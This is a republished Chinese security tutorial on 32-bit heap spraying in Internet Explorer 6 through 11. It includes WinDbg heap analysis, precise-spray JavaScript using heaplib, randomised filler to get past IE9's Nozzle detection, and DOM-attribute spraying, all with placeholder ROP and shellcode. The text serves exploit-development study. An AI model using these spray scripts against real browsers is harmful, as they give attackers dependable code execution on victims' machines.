Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】32位下的堆喷射技术

0
0
【技术分享】32位下的堆喷射技术

2017-10-20 09:54:06

阅读:911次
点赞(0)
收藏
来源: 安全客





【技术分享】32位下的堆喷射技术

作者:seviezhou





【技术分享】32位下的堆喷射技术

作者:seviezhou

预估稿费:500RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


什么是堆喷射

为了在浏览器攻击中获得可预测的shellcode地址,堆喷射(Heap Spray)技术被发明出来,Heap Spray技术在Exploit中的利用开始于2001年,针对浏览器的堆喷射一般通过javascript执行,通过JavaScript申请大段的堆内存,再通过漏洞控制EIP,跳到堆中可预测的地址处执行shellcode,Heap Spray技术不仅仅可以用于浏览器,对于Adobe PDF Reader等支持JavaScript的程序也可以使用堆喷射技术把shellcode放在可预测的地址,还有用图片进行Heap Spray的技术,堆喷射技术使得针对浏览器等程序的攻击变得相对简单化和稳定,而且可以写出更加通用的Exploit,虽然ASLR和DEP的出现使得堆喷射的攻击更加困难,但精准的堆喷加上ROP也能够在这种情况下成功Exploit,下面会分别介绍对于不同版本IE浏览器的堆喷的不同之处。

用windbg调试浏览器

为了使用有关堆的调试命令,需要在windbg中配置符号表,只要在Symbol file path中输入:

SRV*c:\windbgsymbols*http://msdl.microsoft.com/download/symbols

然后关闭windbg并点击保存工作空间。

然后讲一下调试中使用的主要命令:

!heap -stat显示被调试进程的所有堆使用情况:

0:007>!heap-stat _HEAP00140000 Segments00000002 Reservedbytes00200000 Committedbytes0009d000 VirtAllocBlocks000001f5 VirtAllocbytes80800050 ... ...

!heap -a 00140000关于00140000处堆的详细情况,输出会有些多:

0:007>!heap-a00140000 IndexAddressNameDebuggingoptionsenabled 1:00140000 Segmentat00140000to00240000(0007e000bytescommitted) Flags:00000002 ForceFlags:00000000 Granularity:8bytes SegmentReserve:00100000 SegmentCommit:00002000 DeCommitBlockThres:00000200 DeCommitTotalThres:00002000 TotalFreeSize:00000c0f Max.AllocationSize:7ffdefff LockVariableat:00140608 NextTagIndex:0000 MaximumTagIndex:0000 TagEntries:00000000 PsuedoTagEntries:00000000 VirtualAllocList:00140050 UCRFreeList:00140598 FreeListUsage:00040078000000400000000000000000 ... ...

!heap -stat -h 00140000可以查看00140000堆的分配统计数据:

0:007>!heap-stat-h00140000 heap@00140000 group-by:TOTSIZEmax-display:20 size#blockstotal(%)(percentoftotalbusybytes) 7ffe01f5-fa7c160(99.78) 80001-8000(0.01) 7fe01-7fe0(0.01) 7fb01-7fb0(0.01) 619c1-619c(0.01) 614e-5518(0.01) 52ac1-52ac(0.01) 4fe41-4fe4(0.01) ... ...

!heap -flt s 7ffe0查看大小为7ffe0的内存,在堆喷的时候可以方便的找到payload所在的地址:

0:007>!heap-flts7ffe0 _HEAP@140000 HEAP_ENTRYSizePrevFlagsUserPtrUserSize-state 02240018fffc0000[0b]022400207ffe0-(busyVirtualAlloc) 01fe0018fffcfffc[0b]01fe00207ffe0-(busyVirtualAlloc) 022c0018fffcfffc[0b]022c00207ffe0-(busyVirtualAlloc) 02340018fffcfffc[0b]023400207ffe0-(busyVirtualAlloc) ... ...

这里HEAP_ENTRY是堆的头部,UserPtr是BSTR对象头部:

0:007>dd02240018 022400180000002000000b000007ffd490909090 0224002890909090909090909090909090909090 0224003890909090909090909090909090909090

!heap -p -a 0x0c0c0c0c查看0x0c0c0c0c处的数据属于哪个堆:

0:007>!heap-p-a0x0c0c0c0c address0c0c0c0cfoundin _HEAP@140000 HEAP_ENTRYSizePrevFlagsUserPtrUserSize-state 0c0c0018fffc0000[0b]0c0c00207ffe0-(busyVirtualAlloc)

还有在内存空间搜索字符串可以用s命令,-a表示搜索ascii,-u表示搜索unicode:

0:007>s-a0x00000000L?7fffffff"AAAA" 0018ef034141414141414164-6464646464188989AAAAAAAdddddd... 0018ef044141414141416464-6464646418898989AAAAAAdddddd.... ... ...

堆喷射内存布局

在浏览器中分配的字符串都会被转换成unicode,所以为了准确传递字符,我们需要使用JavaScript中的unescape函数,这个函数用于解码字符串,所以用已经是unicode的字符串,在内存中就不会再次被转换成unicode了,用%u加在每两字节之前,注意两字节要反序排列。分配字符串后会变成BSTR字符串对象,含有四字节的头信息和两个NULL字节的结尾。

一般的堆喷射内存布局就是大量的nop指令(也称为滑板指令)加上shellcode,shellcode放在每个块的尾部,只要保证喷射堆块足够大,那么预测的地址处就会是nop指令,然后执行到shellcode。

在堆喷中最著名的地址要数0x0c0c0c0c了,解释一下为什么使用这个地址。如果在Exploit中通过覆盖堆栈中的虚表的话,使用这个地址就会十分合适,当虚函数被调用时,先取得栈中的对象指针,通过对象指针取得虚表指针,然后在虚表内适当偏移处取得函数指针执行,示意图:

Stack +---------+Object |obj_ptr|---->+--------+Vtable +---------+|p_Vtable|--->+-------+ ||+--------+|p_func1|---->func1 +---------+||+-------+ ||+--------+ +---------+

假如将obj_ptr覆盖为0x0c0c0c0c,将0x0c0c0c0c地址内的内容填为\x0c\x0c\x0c\x0c,那么顺着这条调用链,最后还是会调用0x0c0c0c0c地址处的指令,而且:

004010A00C0CORAL,0C 004010A20C0CORAL,0C 可见0c0c指令作用和nop一样,也可以作为滑板指令。

接下来计算一下到底需要多大的内存块才能喷射到0x0c0c0c0c:

0x0c0c0c0c=202116108 202116108字节(b)=192.7529411兆字节(mb)

所以只要堆喷射大于200MB就肯定能够喷射到目标地,但由于分配的起始地址并不是从零开始,所以实际中并不需要那么大的内存,还有一个要注意的点就是unescape返回的对象在用.length计算长度时返回的是实际长度的一般,也就是说:

>s=unescape("%u4142%u4344%u4546") >s.length 3

一份堆喷射的脚本可能看起来像这样:

<html> <script> tag=unescape('%u4141%u4141'); chunk=''; chunksize=0x1000; nr_of_chunks=200; for(counter=0;counter<chunksize;counter++){ chunk+=unescape('%u9090%u9090'); } chunk=chunk.substring(0,chunksize-tag.length); testarray=newArray(); for(counter=0;counter<nr_of_chunks;counter++){ testarray[counter]=tag+chunk; } </script> </html> 通过数组分配大量内存。

XP下IE6和IE7的堆喷射

为了运行多个版本的IE,可以使用IE Collection安装多个版本的IE,这里在XP SP3上安装了IE6和IE7用于测试。

IE6和IE7上稳定的堆喷脚本如下:

<html> <script> varshellcode=unescape('%u4141%u4141'); varbigblock=unescape('%u9090%u9090'); varheadsize=20; varslackspace=headsize+shellcode.length; while(bigblock.length<slackspace)bigblock+=bigblock; varfillblock=bigblock.substring(0,slackspace); varblock=bigblock.substring(0,bigblock.length-slackspace); while(block.length+slackspace<0x40000)block=block+block+fillblock; varmemory=newArray(); for(i=0;i<500;i++){memory[i]=block+shellcode;} </script> </html>

分配了500块大小为0x40000 * 2的内存块(.length返回大小为实际大小一半),结果:

0:009>dd0c0c0c0c 0c0c0c0c90909090909090909090909090909090 0c0c0c1c90909090909090909090909090909090 ...

可以尝试多次,发现都是成功的,查看堆的状态:

0:009>!heap-stat-h00140000 heap@00140000 group-by:TOTSIZEmax-display:20 size#blockstotal(%)(percentoftotalbusybytes) 7ffe01f5-fa7c160(99.78) 80001-8000(0.01) 7fe01-7fe0(0.01) ... 基本上块的大小都是7ffe0,也就是我们分配的0x40000 * 2。

Win7下的IE8的堆喷射

对于IE8浏览器,之前的脚本不再适用,而且IE8一般都配合了DEP,所以不仅需要堆喷射,还需要精准的堆喷射,使得预测的地址正好在ROP链的起始,否则绕不过DEP的防护。

对于JavaScript申请字符串并不总是从系统堆中申请,通常是由OLEAUT32.DLL中的堆管理器来进行管理,其中维护了一张缓存表,每当一块内存被释放,堆管理器就会把指向那块内存的指针放到缓存表中,当下次再次分配内存时,管理器会优先把缓存表中合适的内存块返回给程序。

缓存表有四个bin,每个bin可以容纳6块已经被释放的内存块,每个bin可容纳块的大小不同,大于32767 bytes的块直接被释放,不会缓存:

CacheEntrybin_1_32[6];//blocksfrom1to32bytes CacheEntrybin_33_64[6];//blocksfrom33to64bytes CacheEntrybin_65_256[6];//blocksfrom65to265bytes CacheEntrybin_257_32768[6];//blocksfrom257to32768bytes 我们需要保证每次分配内存都由系统堆处理,而不是缓存,通过缓存申请的堆空间可能在堆里的任何地方,所以预测的地址会变得不可靠,由于每个bin只能容纳6块,Alexander Sotirov提出了plunger技术,在堆喷前强制刷新所有缓存块,具体就是为每个bin申请其可容纳的最大堆块大小的内存,保证了所有缓存都是空的,接下来的分配都会由系统堆处理。

为了实现精准的堆喷,在IE8下我使用了heaplib.js这个JavaScript的堆管理库,Alexander Sotirov在Heap Feng Shui in JavaScript这篇文章中描述并实现了heaplib.js库。

heaplib中对于plunger的实现:

heapLib.ie.prototype.flushOleaut32=function(){ this.debug("FlushingtheOLEAUT32cache"); //Freethemaximumsizeblocksandpushoutallsmallerblocks this.freeOleaut32("oleaut32"); //Allocatethemaximumsizedblocksagain,emptyingthecache for(vari=0;i<6;i++){ this.allocOleaut32(32,"oleaut32"); this.allocOleaut32(64,"oleaut32"); this.allocOleaut32(256,"oleaut32"); this.allocOleaut32(32768,"oleaut32"); } }

IE8下的脚本,需要包含heaplib.js,还有注意在IE8中不能把html文件直接拖到IE中,最好搭建本地服务器访问,可以把heaplib.js直接粘到下面文件的前面:

<html> <scriptlanguage='javascript'> varheap_obj=newheapLib.ie(0x10000); varcode=unescape("%ucccc%ucccc");//Codetoexecute varnops=unescape("%u9090%u9090");//NOPs while(nops.length<0x1000)nops+=nops;//createbigblockofnops varshellcode=nops.substring(0,0x800-code.length)+code; while(shellcode.length<0x40000)shellcode+=shellcode; varblock=shellcode.substring(2,0x40000-0x21); //spray for(vari=0;i<500;i++){ heap_obj.alloc(block); } document.write("Spraydone"); //Can'tdirectlydragintoiexplore </script> </html>

查看分配的内存:

0:016>!heap-flts7ffc0 _HEAP@140000 HEAP_ENTRYSizePrevFlagsUserPtrUserSize-state 037c0018fff80000[0b]037c00207ffc0-(busyVirtualAlloc) 03850018fff8fff8[0b]038500207ffc0-(busyVirtualAlloc) 038e0018fff8fff8[0b]038e00207ffc0-(busyVirtualAlloc) 03970018fff8fff8[0b]039700207ffc0-(busyVirtualAlloc) 03a00018fff8fff8[0b]03a000207ffc0-(busyVirtualAlloc) 03a90018fff8fff8[0b]03a900207ffc0-(busyVirtualAlloc) 03b20018fff8fff8[0b]03b200207ffc0-(busyVirtualAlloc) 03bb0018fff8fff8[0b]03bb00207ffc0-(busyVirtualAlloc) ... ... 0bfe0018fff8fff8[0b]0bfe00207ffc0-(busyVirtualAlloc) 0c070018fff8fff8[0b]0c0700207ffc0-(busyVirtualAlloc) 0c100018fff8fff8[0b]0c1000207ffc0-(busyVirtualAlloc) ... ... 0:016>!heap-p-a0c0c0c0c address0c0c0c0cfoundin _HEAP@140000 HEAP_ENTRYSizePrevFlagsUserPtrUserSize-state 0c070018fff80000[0b]0c0700207ffc0-(busyVirtualAlloc) 可以发现地址都是以0x10000对齐的,这就为精准堆喷打下了基础,可以精确计算堆块中的位置,0x0c0c0c0c处于0x0c070018处的块中。

查看一下0x0c0c0018处的内存:

0:016>dd0c0c0018 0c0c001890909090cccccccc9090909090909090 0c0c002890909090909090909090909090909090

可以知道下一个块起始于0x0c0c0018+0x8,计算ROP起始偏移:

0x0c0c0c0c-0x0c0c0018+0x8=0xbec 0xbec/2=0x5f6

假设ROP链为AAAABBBBCCCCDDDD,shellcode为\xcc\xcc\xcc\xcc,把脚本改为:

<html> <scriptlanguage='javascript'> varheap_obj=newheapLib.ie(0x10000); varcode=unescape("%ucccc%ucccc"); varrop=unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444"); varpadding=unescape("%u9090%u9090"); while(padding.length<0x1000)padding+=padding;//createbigblockofnops offset_length=0x5F6; junk_offset=padding.substring(0,offset_length); varshellcode=junk_offset+rop+code+padding.substring(0,0x800-code.length-junk_offset.length-rop.length); while(shellcode.length<0x40000)shellcode+=shellcode; varblock=shellcode.substring(2,0x40000-0x21); for(vari=0;i<500;i++){ heap_obj.alloc(block); } document.write("Spraydone"); </script> </html>

查看预测地址:

0:019>dd0c0c0c0c 0c0c0c0c41414141424242424343434344444444 0c0c0c1ccccccccccccccccccccccccccccccccc 0c0c0c2ccccccccccccccccccccccccccccccccc 成功实现了精准堆喷射。

Vista下的IE9的堆喷射

IE8下的脚本在IE9下不再有用,因为IE9使用了Nozzle的防御措施,检测包含重复内容的内存申请,然后会阻止这样的申请,导致堆喷失败,由于我们的堆喷是精确的,所以前后的数据都不一定是滑板指令,可以是随机数,可以利用JavaScript的数学随机数生成随机串,绕过检测。

堆喷射脚本,同样需要包含heaplib.js:

<html> <scriptlanguage='javascript'> varheap_obj=newheapLib.ie(0x10000); varcode=unescape("%u6174%u7367");//tags for(vari=0;i<0x800;i++){ varrandomnumber1=Math.floor(Math.random()*90)+10; varrandomnumber2=Math.floor(Math.random()*90)+10; varrandomnumber3=Math.floor(Math.random()*90)+10; varrandomnumber4=Math.floor(Math.random()*90)+10; varBUNSTstr="%u"+randomnumber1.toString()+randomnumber2.toString() BUNSTstr+="%u"+randomnumber3.toString()+randomnumber4.toString() varBUNST=unescape(BUNSTstr); while(BUNST.length<0x1000)BUNST+=BUNST; varsingle_sprayblock=BUNST.substring(0,0x800-code.length)+code; while(single_sprayblock.length<0x20000)single_sprayblock+=single_sprayblock; sprayblock=single_sprayblock.substring(0,(0x40000-6)/2); heap_obj.alloc(sprayblock); } document.write("Spraydone"); </script> </html>

首先堆喷是成功的:

0:017>dd0c0c0c0c 0c0c0c0c53885684538856845388568453885684 0c0c0c1c53885684538856845388568453885684

由于IE9中的堆喷用之前的方法查看不到堆的情况,所以我把code设为tags,堆喷完成后在内存中搜索tags:

0:017>s-a0x00000000L?7fffffff"tags" 00419b75746167730a2f2f76-617220726f70203dtags.//varrop= 01ff473f7461677320286174-7472696275746573tags(attributes 0207c23c746167732e20416c-736f20616464696etags.Alsoaddin ... 0396100c7461677392399017-9239901792399017tags.9...9...9.. 0396200c7461677392399017-9239901792399017tags.9...9...9.. 0396300c7461677392399017-9239901792399017tags.9...9...9.. 0396400c7461677392399017-9239901792399017tags.9...9...9.. 0396500c7461677392399017-9239901792399017tags.9...9...9.. 0396600c7461677392399017-9239901792399017tags.9...9...9.. 0396700c7461677392399017-9239901792399017tags.9...9...9.. 0396800c7461677392399017-9239901792399017tags.9...9...9.. 0396900c7461677392399017-9239901792399017tags.9...9...9.. 0396a00c7461677392399017-9239901792399017tags.9...9...9.. ... ... 前面的是脚本在内存中的映射,看后面实际分配的内存,发现此时内存仍然是对齐的,按照0x1000对齐,计算得到偏移为0x5fe。

精准堆喷脚本:

<html> <scriptlanguage='javascript'> varheap_obj=newheapLib.ie(0x10000); varcode=unescape("%ucccc%ucccc"); varrop=unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444"); varoffset_length=0x5fe; for(vari=0;i<0x800;i++){ varrandomnumber1=Math.floor(Math.random()*90)+10; varrandomnumber2=Math.floor(Math.random()*90)+10; varrandomnumber3=Math.floor(Math.random()*90)+10; varrandomnumber4=Math.floor(Math.random()*90)+10; varBUNSTstr="%u"+randomnumber1.toString()+randomnumber2.toString() BUNSTstr+="%u"+randomnumber3.toString()+randomnumber4.toString() varBUNST=unescape(BUNSTstr); while(BUNST.length<0x1000)BUNST+=BUNST; junk_offset=BUNST.substring(0,offset_length); varsingle_sprayblock=junk_offset+rop+code+BUNST.substring(0,0x800-code.length-junk_offset.length-rop.length); while(single_sprayblock.length<0x20000)single_sprayblock+=single_sprayblock; sprayblock=single_sprayblock.substring(0,(0x40000-6)/2); heap_obj.alloc(sprayblock); } document.write("Spraydone"); </script> </html>

结果:

0:022>dd0c0c0c0c 0c0c0c0c41414141424242424343434344444444 0c0c0c1ccccccccc573766545737665457376654

另外前人总结了不同浏览器下堆喷射的尺寸:

OS&BrowserBlocksyntax XPSP3–IE7block=shellcode.substring(2,0×10000-0×21); XPSP3–IE8block=shellcode.substring(2,0×40000-0×21); VistaSP2–IE7block=shellcode.substring(0,(0×40000-6)/2); VistaSP2–IE8block=shellcode.substring(0,(0×40000-6)/2); Win7–IE8block=shellcode.substring(0,(0×80000-6)/2);

Win8下的IE10和IE11的堆喷射

IE9下的脚本在IE10和IE11中不再适用,IE10和IE11中无法再使用传统的BSTR字符串的方法,而要使用一种称为DEPS的技术,这种技术使用html的标签来进行堆喷射,具体就是创建大量的DOM对象,在对象的某一个属性中填入相应的字符串,这一技术的发明者给出了测试脚本:

<html> <head></head> <body> <divid="blah"></div> <scriptlanguage="javascript"> vardiv_container=document.getElementById("blah"); div_container.style.cssText="display:none"; vardata; offset=0x104; junk=unescape("%u2020%u2020"); while(junk.length<0x1000)junk+=junk; varrop=unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444"); shellcode=unescape("%ucccc%ucccc"); data=junk.substring(0,offset)+rop+shellcode data+=junk.substring(0,0x800-offset-rop.length-shellcode.length); while(data.length<0x80000)data+=data; for(vari=0;i<0x500;i++) { varobj=document.createElement("button"); obj.title=data.substring(0,0x40000-0x58); div_container.appendChild(obj); } document.write("spraydone!"); </script> </body> </html> 这个脚本先创建了一个div标签,然后加入了大量的button元素,将每个button元素的title设置为要喷射的字符串。

由于win8下现在默认安装的是IE11,而且IE10和IE11差不多,这里用IE11做实验,注意这里不再使用经典的0x0c0c0c0c作为预测地址,而是使用0x20302228作为预测地址,这也算是前人研究的结果。

win8下的IE11:

0:016>dd20302228 2030222841414141424242424343434344444444 20302238cccccccc202020202020202020202020 2030224820202020202020202020202020202020 对于火狐使用地址是0x20202210或0x20302210,对于IE8、IE9、IE10使用地址为0x20302228或0x20202228。

XP下的IE8:

0:021>dd0x20302228 2030222841414141424242424343434344444444 20302238cccccccc202020202020202020202020 2030224820202020202020202020202020202020

Vista下的IE9:

0:022>dd0x20302228 2030222841414141424242424343434344444444 20302238cccccccc202020202020202020202020 2030224820202020202020202020202020202020 这次的堆喷射脚本可能比之前喷射要慢一些。

总结

除了以上的方法,还有html5 Spray、ActionScript Spray、Array Object Heap Spraying、JIT Spray等方法进行堆喷射和绕过浏览器的安全机制,当然现在大部分系统都变成了64位,在64位下的堆喷射由于地址空间过大,所以堆喷射没有什么意义,但在小范围仍有用处。



【技术分享】32位下的堆喷射技术
【技术分享】32位下的堆喷射技术
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4572.html

Viewing all articles
Browse latest Browse all 12749